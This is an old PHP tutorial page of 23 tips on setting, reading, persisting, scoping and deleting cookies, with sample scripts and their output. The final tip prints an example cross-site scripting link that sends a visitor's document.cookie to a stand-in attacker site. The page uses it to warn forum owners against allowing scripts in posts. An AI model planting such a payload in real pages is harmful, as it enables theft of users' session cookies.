• home
  • forum
  • my
  • kt
  • download
  • PHP Script Tips - Understanding and Managing Cookies

    Author: 2007-08-11 10:18:28 From:

    A collection of 23 tips on understanding and managing cookies in PHP. Clear explanations and tutorial exercises are provided on setting and receiving cookies, creating and removing persistent cookies, specifying domain and path to restrict cookies, finding cookies in cookie files, cookie limitations. Topics included in this collections:

    1. What Is a Cookie?
    2. How To Send a Cookie to the Browser?
    3. How To Receive a Cookie from the Browser?
    4. How To Test Cookies on a Web Server?
    5. What Is a Persistent Cookie?
    6. How To Set a Persistent Cookie?
    7. How To Test Persistent Cookies?
    8. How To Remove a Cookie?
    9. What Are Domain and Path Attributes for Cookies?
    10. How To Specify Domain and Path for a Cookie?
    11. What Is the Common Mistake When Setting Path and Domain on Temporary Cookies?
    12. How Cookies Are Transported from Servers to Browsers?
    13. How To View Cookie Header Lines?
    14. How Cookies Are Transported from Browsers to Servers?
    15. Where Are the Persistent Cookies Stored on Your Computer?
    16. How To Delete Cookie Files on Your Computer?
    17. How View the Content of a Cookie File?
    18. How Does FireFox Manage Cookies?
    19. In Which Does File FireFox Store Persistent Cookies?
    20. How Many Cookies Can You Set?
    21. How Large Can a Single Cookie Be?
    22. How Are Cookies Encoded During Transportation?
    23. How Can Other Webmaster Steal Your Cookies?

    What Is a Cookie?

    A cookie is a small amount of information sent by a Web server to a web browser and then sent back unchanged by the browser each time it accesses that server. HTTP cookies are used for authenticating, tracking, and maintaining specific information about users, such as site preferences and the contents of their electronic shopping carts. The term "cookie" is derived from "magic cookie", a well-known concept in computing which inspired both the idea and the name of HTTP cookies.

    A cookie consists of a cookie name and cookie value. For example, you can design a cookie with a name of "LoginName" and a value of "FYICenter".

    How To Send a Cookie to the Browser?

    If you want to sent a cookie to the browser when it comes to request your PHP page, you can use the setcookie( ) function. Note that you should call setcookie() function before any output statements. The following script shows you how to set cookies:

    <?php
      setcookie("LoginName","FYICenter");
      setcookie("PreferredColor","Blue");
      print("2 cookies were delivered.\n");
    ?>
    

    How To Receive a Cookie from the Browser?

    If you know that a cookie has been sent to the browser when it was visiting the server previously, you can check the built-in $_COOKIE array, which contains all cookies that were sent by the server previously. The script below shows you how to pickup one cookie from the $_COOKIE and loop through all cookies in $_COOKIE:

    <?php
    
      if (isset($_COOKIE["LoginName"])) {
        $loginName = $_COOKIE["LoginName"];
        print("Received a cookie named as LoginName: ".$loginName."\n");
      } else {
        print("Did not received any cookie named as LoginName.\n");
      }
      print("All cookies received:\n");
      foreach ($_COOKIE as $name => $value) {
         print "  $name = $value\n";
      }
    ?>
    

    How To Test Cookies on a Web Server?

    If you want to test cookies with a browser, you need to run a Web server locally, or have access to a Web server remotely. Then you can copy the following PHP cookie test page, setting_receiving_cookies.php, to the Web server:

    <?php
      setcookie("LoginName","FYICenter");
      setcookie("PreferredColor","Blue");
      print("<pre>\n");
      print("2 cookies were delivered.\n");
    
      if (isset($_COOKIE["LoginName"])) {
        $loginName = $_COOKIE["LoginName"];
        print("Received a cookie named as LoginName: ".$loginName."\n");
      } else {
        print("Did not received any cookie named as LoginName.\n");
      }
     
      $count = count($_COOKIE);
      print("$count cookies received.\n");
      foreach ($_COOKIE as $name => $value) {
         print "  $name = $value\n";
      }
      print("</pre>\n");
    ?>
    

    If you open this PHP page with a browser as http://localhost/setting_receiving_cookies.php, you will get:

    2 cookies were delivered.
    Did not received any cookie named as LoginName.
    0 cookies received.
    

    "0 cookies received" is because there was no previous visit from this browser. But if you click the refresh button of your browser, you will get:

    2 cookies were delivered.
    Received a cookie named as LoginName: FYICenter
    2 cookies received.
      LoginName = FYICenter
      PreferredColor = Blue
    

    What Is a Persistent Cookie?

    A persistent cookie is a cookie which is stored in a cookie file permanently on the browser's computer. By default, cookies are created as temporary cookies which stored only in the browser's memory. When the browser is closed, temporary cookies will be erased. You should decide when to use temporary cookies and when to use persistent cookies based on their differences:

    • Temporary cookies can not be used for tracking long-term information.
    • Persistent cookies can be used for tracking long-term information.
    • Temporary cookies are safer because no programs other than the browser can access them.
    • Persistent cookies are less secure because users can open cookie files see the cookie values.

    How To Set a Persistent Cookie?

    If you want to set a persistent cookie, you can use the setcookie() function with an extra parameter to specify its expiration time. To follow sample script sets 2 persistent cookies to be expired within 7 days:

      setcookie("LoginName","FYICenter");
      setcookie("PreferredColor","Blue");
      setcookie("CouponNumber","07470433",time()+60*60*24*7);
      setcookie("CouponValue","100.00",time()+60*60*24*7);
      print("2 temporary cookies were delivered.\n");
      print("2 consistent cookies were delivered.\n");
    

    How To Test Persistent Cookies?

    If you want to test persistent cookies, you can copy the following PHP script, setting_persistent_cookies.php, to your Web server:

    <?php
      setcookie("LoginName","FYICenter");
      setcookie("PreferredColor","Blue");
      setcookie("CouponNumber","07470433",time()+60*60*24*7);
      setcookie("CouponValue","100.00",time()+60*60*24*7);
     
      print("<pre>\n");
      print("2 temporary cookies were delivered.\n");
      print("2 consistent cookies were delivered.\n");
    
      if (isset($_COOKIE["LoginName"])) {
        $loginName = $_COOKIE["LoginName"];
        print("Received a cookie named as LoginName: ".$loginName."\n");
      } else {
        print("Did not received any cookie named as LoginName.\n");
      }
     
      $count = count($_COOKIE);
      print("$count cookies received.\n");
      foreach ($_COOKIE as $name => $value) {
         print "  $name = $value\n";
      }
      print("</pre>\n");
    ?>
    

    Open your browser to visit this page: http://localhost/setting_persistent_cookies.php. You will see:

    2 temporary cookies were delivered.
    2 consistent cookies were delivered.
    Did not received any cookie named as LoginName.
    0 cookies received.
    

    Click the refresh button, you will see:

    2 temporary cookies were delivered.
    2 consistent cookies were delivered.
    Received a cookie named as LoginName: FYICenter
    4 cookies received.
      LoginName = FYICenter
      PreferredColor = Blue
      CouponNumber = 07470433
      CouponValue = 100.00
    

    Close your browser and open it again to the same page. You will see:

    2 temporary cookies were delivered.
    2 consistent cookies were delivered.
    Did not received any cookie named as LoginName.
    2 cookies received.
      CouponNumber = 07470433
      CouponValue = 100.00
    

    This proves that "CouponNumber" and CouponValue" persisted outside the browser.

    How To Remove a Cookie?

    Once a cookie is sent from the server to the browser, there is no direct way for the server to ask the browser to remove the cookie. But you can use the setcookie() function to send the same cookie to browser with a negative expiration time, which will cause the browser to expire (remove) the cookie immediately. The next sample PHP page will let you remove "CouponNumber" and CouponValue" persisted by the previous tutorial exercise:

    <?php
      setcookie("CouponNumber","",time()-1);
      setcookie("CouponValue","",time()-1);
      print("<pre>\n");
      print("2 cookies were delivered with past times.\n");
     
      $count = count($_COOKIE);
      print("$count cookies received.\n");
      foreach ($_COOKIE as $name => $value) {
         print "  $name = $value\n";
      }
      print("</pre>\n");
    ?>
    

    Open your browser to visit this page: http://localhost/removing_cookies.php. You will see:

    2 cookies were delivered with past times.
    2 cookies received.
      CouponNumber = 07470433
      CouponValue = 100.00
    

    Click the refresh button, you will see:

    2 cookies were delivered with past times.
    0 cookies received.
    

    As you can see, both cookies are removed.

    What Are Domain and Path Attributes for Cookies?

    Cookies can also be defined with two other attributes:

    • Domain - A cookie attribute that defines the domain name of Web servers where this cookie is valid. Web browsers holding this cookie should not sent it back to any Web server outside the specified domain. The default domain is the domain from which the cookie originally came from.
    • Path - A cookie attribute that defines the path name of Web server document path where this cookie is valid. Web browsers holding this cookie should not sent it back to the server when requesting any documents that are outside the specified path. The default path is the root path.

    How To Specify Domain and Path for a Cookie?

    If you want to specify domain and path for cookie, you can use the setcookie() function with two extra parameters. The sample PHP script below shows you how to set the domain and path attributes for temporary and persistent cookies:

    <?php
      setcookie("LoginName","FYICenter", NULL, "/", ".fyicenter.com");
      setcookie("PreferredColor","Blue", NULL, "/", ".fyicenter.com");
      setcookie("CouponNumber","07470433",time()+60*60*24*7,
        "/store", ".fyicenter.com");
      setcookie("CouponValue","100.00",time()+60*60*24*7,
        "/store", ".fyicenter.com");
      print("2 temporary cookies were delivered.\n");
      print("2 consistent cookies were delivered.\n");
    ?>
    

    What Is the Common Mistake When Setting Path and Domain on Temporary Cookies?

    A common mistake made by many PHP developers is using an empty string for the expiration time parameter when setting path and domain for temporary cookies. The PHP script below shows an example of this mistake:

    <?php
      # Incorrect use of setcookie()
      setcookie("LoginName","FYICenter", "", "/", ".fyicenter.com");
    
      # Correct use of setcookie()
      setcookie("PreferredColor","Blue", NULL, "/", ".fyicenter.com");
    ?>
    

    If you run this script, you will get an error:

    PHP Warning:  setcookie() expects parameter 3 to be long,
      string given in \php_working_with_cookies.php on line 3
    

    How Cookies Are Transported from Servers to Browsers?

    Cookies are transported from a Web server to a Web browser in the header area of the HTTP response message. Each cookie will be included in a separate "Set-Cookie:" header line in the following format:

    Set-Cookie: name=value; expires=time; path=pathVal; domain=domainVal
    

    How To View Cookie Header Lines?

    If you are interested to see the cookie header lines, or you are having trouble with your cookies and need to see the cookies to help debugging, you can run your script with PHP CGI interface in a command line window. The following tutorial exercise shows you a good example:

    >edit showing_cookie_header_lines.php
    <?php
      setcookie("LoginName","FYICenter");
      setcookie("PreferredColor","Blue", NULL, "/store");
      setcookie("CouponNumber","07470433",time()+60*60*24*7,"/store");
      setcookie("CouponValue","100.00",time()+60*60*24*7,
        "/store", ".fyicenter.com");
      print("4 cookies were delivered.\n");
    ?>
    
    >php-cgi showing_cookie_header_lines.php
    Content-type: text/html
    X-Powered-By: PHP/5.0.4
    Set-Cookie: LoginName=FYICenter
    Set-Cookie: PreferredColor=Blue; path=/store
    Set-Cookie: CouponNumber=07470433; expires=Sun, 05 Mar 2006
      02:33:43 GMT; path=/store
    Set-Cookie: CouponValue=100.00; expires=Sun, 05 Mar 2006
      02:33:43 GMT; path=/store; domain=.fyicenter.com
    
    4 cookies were delivered.
    

    How Cookies Are Transported from Browsers to Servers?

    Cookies are transported from a Web browser to a Web server in the header area of the HTTP request message. Each cookie will be included in a separate "Cookie:" header line in the following format:

    GET / HTTP/1.1
    Cookie: name1=value1
    Cookie: name2=value2
    Cookie: name3=value3
    ......
    Accept: */*
    

    Where Are the Persistent Cookies Stored on Your Computer?

    The location and file names where persistent cookies are stored on your computer depend on which browser you are using. If you using Microsoft Internet Explorer, persistent cookies are stored in the \Documents and Settings\$user\Cookies directory. Cookies are stored in multiple cookie files with one file per Web server. Check your cookie directory on your local system, you will be surprised to see how many Web servers are setting persistent cookies to your computer.

    How To Delete Cookie Files on Your Computer?

    A simple way to delete cookie files on your computer is to use the function offered by the IE browser. The following tutorial exercise shows you how to delete cookie files created by IE:

    • Open IE (Internet Explorer)
    • Go to Options/Internet Options
    • Click the Delete Cookies button on the options dialog window.

    Check the cookie directory again. All cookie files should be deleted.

    How View the Content of a Cookie File?

    Cookie files are normal text files. You can view them with any text editor. Follow the steps below to see what is in a cookie file created by your own PHP script.

    Copy the following sample script, setting_persistent_cookies.php, to your Web server:

    <?php
      setcookie("LoginName","FYICenter");
      setcookie("PreferredColor","Blue");
      setcookie("CouponNumber","07470433",time()+60*60*24*7);
      setcookie("CouponValue","100.00",time()+60*60*24*7);
     
      print("<pre>\n");
      print("2 temporary cookies were delivered.\n");
      print("2 consistent cookies were delivered.\n");
    
      if (isset($_COOKIE["LoginName"])) {
        $loginName = $_COOKIE["LoginName"];
        print("Received a cookie named as LoginName: ".$loginName."\n");
      } else {
        print("Did not received any cookie named as LoginName.\n");
      }
     
      $count = count($_COOKIE);
      print("$count cookies received.\n");
      foreach ($_COOKIE as $name => $value) {
         print "  $name = $value\n";
      }
      print("</pre>\n");
    ?>
    

    Open your IE browser to visit this page: http://localhost/setting_persistent_cookies.php. You will see:

    2 temporary cookies were delivered.
    2 consistent cookies were delivered.
    Did not received any cookie named as LoginName.
    0 cookies received.
    

    Now go to \Documents and Settings\$user\Cookies directory and open the cookie file, $user@localhost.txt. You will see:

    CouponNumber
    07470433
    localhost/
    1024
    3084847744
    29787636
    2404950512
    29786228
    *
    CouponValue
    100.00
    localhost/
    1024
    3084847744
    29787636
    2405150512
    29786228
    *
    

    How Does FireFox Manage Cookies?

    FireFox browser allows you to delete old cookies, and gives you options to keep persistent cookies in cookie files until they reach their expiration time. The following tutorial shows you how to manage cookies in FireFox:

    • Run FireFox
    • Go to Tools/Options
    • Click Privacy and then Cookies
    • Click the Clear button to delete all old cookies
    • Change the Keep Cookies option to "until they expire" to allow persistent cookies to be store a cookie file.

    In Which Does File FireFox Store Persistent Cookies?

    If you change FireFox to keep cookies "until they expire", FireFox will store persistent cookies from all Web servers in a single file at: \Documents and Settings\$user\Application Data\Mozilla \Firefox\Profiles\xby7vgys.default\cookie.txt.

    Open your FireFox browser to visit this page: http://localhost/setting_persistent_cookies.php. Then open FireFox cookie file. You will see:

    # HTTP Cookie File
    # http://www.netscape.com/newsref/std/cookie_spec.html
    # This is a generated file!  Do not edit.
    # To delete cookies, use the Cookie Manager.
    
    localhost   FALSE   /   FALSE   1149219379   CouponValue    100.00
    localhost   FALSE   /   FALSE   1149219379   CouponNumber   07470433
    ......
    

    How Many Cookies Can You Set?

    How many cookies can you set in your PHP page? The answer is depending what is the Web browser your visitor is using. Each browser has its own limit:

    • Internet Explorere (IE): 20
    • Mozilla FireFox: 50

    If you want to test this limit, copy this sample script, how_many_cookies.php, to your Web server:

    <?php
      $count = count($_COOKIE);
      $name = "Cookie_".($count+1);
      $value = "FYICenter.com";
      setcookie($name, $value);
      print("<pre>\n"); 
      print("One cookies were added.\n"); 
      print("$count cookies received.\n");
      foreach ($_COOKIE as $name => $value) {
         print "  $name = $value\n";
      }
      print("</pre>\n"); 
    ?>
    

    Open your browser to this page for first time, you will see:

    One cookies were added.
    0 cookies received.
    

    Click the refresh button, you will see:

    One cookies were added.
    1 cookies received.
      Cookie_1 = FYICenter.com
    

    Keep clicking the refresh button, you will see the limit of your browser.

    How Large Can a Single Cookie Be?

    How large can a single cookie be? The answer is depending what is the Web browser your visitor is using. Each browser has its own limit:

    • Internet Explorere (IE): about 3904 bytes
    • Mozilla FireFox: about 3136 bytess

    If you want to test this limit, copy this sample script, huge_cookies.php, to your Web server:

    <?php
      if (isset($_COOKIE["HomeSite"])) {
        $value = $_COOKIE["HomeSite"];
      } else {
        $value = "";
      }
      $value .= "http://dev.FYICenter.com/faq/php";
      setcookie("HomeSite", $value);
      print("<pre>\n"); 
      print("Large cookie set with ".strlen($value)." characters.\n"); 
      print("</pre>\n"); 
    ?>
    

    Open your browser to this page for first time, you will see:

    Large cookie set with 32 characters.
    

    Click the refresh button, you will see:

    Large cookie set with 64 characters.
    

    Keep clicking the refresh button, you will see the limit of your browser.

    How Are Cookies Encoded During Transportation?

    When cookies are transported from servers to browsers and from browsers back to servers, Cookies values are always encoded using the URL encoding standard to ensure that they are transported accurately. But you don't need to worry about the encoding and decoding processes yourself. PHP engine will automatically encode cookies created by setcookie(), and decode cookies in the $_COOKIE array. The tutorial exercise will help you understand this concept better.

    Write a sample PHP script, encoding_cookies.php, like this:

    <?php
      setcookie("Letters", "FYICenter");
      setcookie("Symbols", "A~!@#%^&*(), -_=+[]{};:'\"/?<>.");
      setcookie("Latin1", "\xE6\xE7\xE8\xE9\xA5\xA9\xF7\xFC");
      print("<pre>\n"); 
      $count = count($_COOKIE);
      print("$count cookies received.\n");
      foreach ($_COOKIE as $name => $value) {
         print "  $name = $value\n";
      }
      print("</pre>\n"); 
    ?>
    

    First, run this script off-line in a command window:

    >php-cgi encoding_cookies.php
    Content-type: text/html
    X-Powered-By: PHP/5.0.4
    Set-Cookie: Letters=FYICenter
    Set-Cookie: Symbols=A%7E%21%40%23%25%5E%26%2A%28%29%2C
      +-_%3D%2B%5B%5D%7B%7D%3B%3A%27%22%2F%3F%3C%3E.
    Set-Cookie: Latin1=%E6%E7%E8%E9%A5%A9%F7%FC
    
    <pre>
    0 cookies received.
    </pre>
    

    You see how cookie values are encoded now. Then copy the script, encoding_cookies.php to the Web server, and run it with a browser. You will get:

    3 cookies received.
      Letters = FYICenter
      Symbols = A~!@#%^&*(), -_=+[]{};:\'\"/?.<>
      Latin1 = 
    This shows that the values in the $_COOKIE array are already decoded.

    How Can Other Webmaster Steal Your Cookies?

    All browsers are following the security rule that your cookies are sent back only to your Web servers. They will not be sent to other Webmaster's Web server directly. However, other Webmaster may design some malicious JavaScript codes to steal cookies created by your PHP pages. For example, if you allow visitors to post messages in your forum, comment area, or guestbooks with hyper links. A bad Webmaster who owns a Web site called www.badwebmaster.com could post a message like this on your Web site with a malicious hyper link:

    <a href="#" onclick="window.location='http://www.badwebmaster.com
      /stole.cgi?text='+escape(document.cookie); return false;">
      Click here to get your free gift!
    

    If your visitor clicks this hyper link, all of your cookie values will be sent to this bad Webmaster's CGI program as part of the GET URL (not as cookies).

    So check your forum, comment book or guestbook program. And do not allow visitors to post messages with client side scripts.

    discuss this topic to forum

    relation tutorial

    No relevant information

    Category

      Ad Management (4)
      Calendars (3)
      Chat Systems (7)
      Content Management (6)
      Cookies and Sessions (8)
      Counters (8)
      Database Related (8)
      Date and Time (9)
      Development (6)
      Discussion Boards (7)
      E Commerce (6)
      Email Systems (9)
      Error Handling (5)
      File Manipulation (10)
      Flash and PHP (4)
      Form Processing (7)
      Guestbooks (8)
      Image Manipulation (3)
      Installing PHP (5)
      Introduction to PHP (9)
      Link Indexing (6)
      Mailing List Management (8)
      Miscellaneous (10)
      Networking (6)
      News Publishing (6)
      OOP (8)
      PEAR (6)
      PHP vs Other Languages (2)
      Polls and Voting (5)
      Postcards (0)
      Randomizing (8)
      Redirection (8)
      Searching (6)
      Security (6)
      Site Navigation (7)
      User Authentication (10)
      WAP and WML (7)
      Web Fetching (0)
      Web Traffic Analysis (11)
      XML and PHP (0)

    New

    Hot